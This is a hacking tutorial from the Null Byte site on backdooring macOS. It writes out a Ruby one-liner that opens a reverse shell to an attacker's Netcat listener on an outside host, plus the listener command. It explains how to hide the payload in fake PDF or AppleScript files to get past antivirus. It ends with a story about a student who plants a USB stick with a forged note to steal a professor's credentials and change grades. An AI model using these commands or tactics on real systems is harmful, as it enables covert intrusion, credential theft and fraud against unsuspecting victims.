Hacking macOS: How to Hack a MacBook with One Ruby Command « Null Byte :: WonderHowTo

With just one line ofRubycode embedded into a fake PDF, a hacker can remotely control any Mac computer from anywhere in the world. Creating the command is the easy part, but getting the target to open the code is where a hacker will need to get creative.Ruby is just one way to backdoor into a computer running macOS (previously Mac OS X) to gain full control remotely. We've covered one-line commands that usedPython,Tclsh, orBash, but some of the mostpopular exploitation frameworksare written in Ruby, so it's a classic option for newbies.What Is Ruby?When coming up with Ruby, its creator,Yukihiro "Matz" Matsumoto, wanted a programming language that was more powerful than Perl, more object-oriented than Python, and simple in appearance with the potential for very complex functionalities.Much of Ruby's growth can be attributed toRuby on Rails, a popular, full-featured, server-side web application framework for easily building websites. It is for these reasons Ruby is among the topmost popular coding languages in the worldand included in all Macs by default.Based on your coding experience as a penetration tester, Ruby may be a preferred language for tactical engagements. There's no major benefit or disadvantage to using Ruby overPython,Tclsh, orBashto backdoor a Mac, so Ruby is just as good an option as any.Step 1: Start a Netcat ListenerTo start using Ruby as a backdooring mechanism, open a terminal in Kali (or any Unix-based operating system withNetcatinstalled), and use the below Netcat command to start a listener. This is where the target macOS device will connect to when the Ruby command is executed.nc -v -l -p 9999Netcat will open a listening (-l) port on every available interface.If you're working in a local network, the Netcat listener will be available on your local address (e.g.,192.168.0.X). If the listener is started on avirtual private server (VPS), be sure to use the IP address of your VPS in future Ruby commands.The port (-p) number (9999) is arbitrary and can be changed.The verbosity (-v) argument is important here. Without this, when a connection to the target MacBook, Mac Pro, or any other computer running macOS is established, the Netcat terminal will not change. To provide some sort of indication the payload was executed successfully, enable verbosity.Step 2: Use Ruby to Create a BackdoorExecute this in the macOS device to create a backdoor to the Netcat listener:ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"This one-liner above will create a TCP socket (TCPSocket.new) and a while loop (while ... end) that says "while there's data coming in, assign it tocmd, run the input as a shell command, and print it back in our terminal (IO.popen(cmd,'r'){|io|c.print io.read})." Essentially, we're telling Ruby to take the command we submit, execute it, interpret the output, and send it back to us ... over and over again until we break the connection to the macOS device.Remember to change the IP address (1.2.3.4) and port number (9999) to match the Netcat listener created in the previous step. This can be a local network IP address or IP address of your VPS. On the attacker's system (as shown below), the Netcat terminal will show a new connection was established.nc -v -l -p 9999
listening on [any] 9999 ...
connect to [192.168.1.55] from (UNKNOWN) [192.168.1.31] 50328Situational-awareness andpost-exploitationattacks can begin. If this Ruby command isembedded into a trojanized PDFand run by the target, you will not have root access. In that case, there areseveral ways of gaining privilege access. If Ruby was used tophysically backdoor a macOS device, you'll have root and can begindumping passwords stored in the target's web browsers. Either way, this Ruby command will completelybypass antivirus softwarelikeAvastandAVG.Step 3: Use a Social Engineering AttackSuch payloads can beexecuted using a USB Rubby Duckyor easilyembedded into AppleScriptsand sent to the victim. There are many ways to get the payload to the target, but you'll need to utilize yoursocial engineering skillsto get them to open it.Just as I did with thePython,Tclsh, orBashone-liners, below is a short story that illustrates how easy it would be for a hacker to share a trojanized file, in this case, an AppleScript. While this story is completely fictional and hypothetical, I did test the featured Ruby payload against macOS High Sierra whereAvast antivirus softwarewas installed.The College Professor & the Fake PDFA student at a prestigious university was failing the semester and wanted to change their exam scores to pass the course. The university's website used by professors required an email address and password to modify student grades and information, so the student decided to hack their professor to learn their login credentials and change their grade. To do this, the student crafted severalfake PDFs with AppleScriptand embedded a Ruby payload into each one.ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"The student hoped to laterdump passwords stored in the professor's web browserto learn their login credentials.After moving the fake PDFs to the USB, the student arrived at school an hour before anyone else and placed the USB on the professor's desk with a handwritten note.Professor,As per professor Jessica Barker's request, on the USB is the itinerary for this year's academic field trip and the invoices for the expenses. Please review them at your earliest convenience.~David PaciosThe student signed the note as another professor who was likely involved in the university's annual field trip to create a strong sense of legitimacy in the message.Upon arrival, the professor noticed the USB and note on their desk. After inserting the USB and double-clicking the PDFs to review them, nothing appeared to happen as the Ruby payloads executed silently in the background. Confused, the professor opened his Mail application and composed an email message to David.Hey David,The PDFs on this USB don't seem to open. Can you try sending them to me via email? Thanks.~Hacked ProfessorAfter the student gained remote access to the MacBook, hedumped the passwords stored in the Firefox browserto learn the professor's login password and changed his exam scores to a passing grade.Stay Tuned for More One-Liner Payloads ...This is just another example of how hackers, with a single command, are capable of compromising macOS devices — but I'm not done pwning Macs with one command yet. In future articles, I'll continue to show how to use programs that are built into macOS to grant hackers full remote access.Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byStartup Stock Photos/PEXELSRelatedHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsMac for Hackers:How to Install RVM to Maintain Ruby Environments in macOSHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Create an Undetectable PayloadHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Break into a MacBook Encrypted with FileVaultHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Mac for Hackers:How to Install the Metasploit FrameworkHacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Mac for Hackers:How to Get Your Mac Ready for HackingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHacking macOS:How to Hide Payloads Inside Photo MetadataHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:Use SecGen to Generate a Random Vulnerable MachineMac for Hackers:How to Install iTerm2 Using the TerminalHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesBasics of Ruby:Part 1 (Data Types/Data Storage)How To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 2 (Disguising the Script)Hacking macOS:How to Turn Forums into C&C Servers to Control MacBooks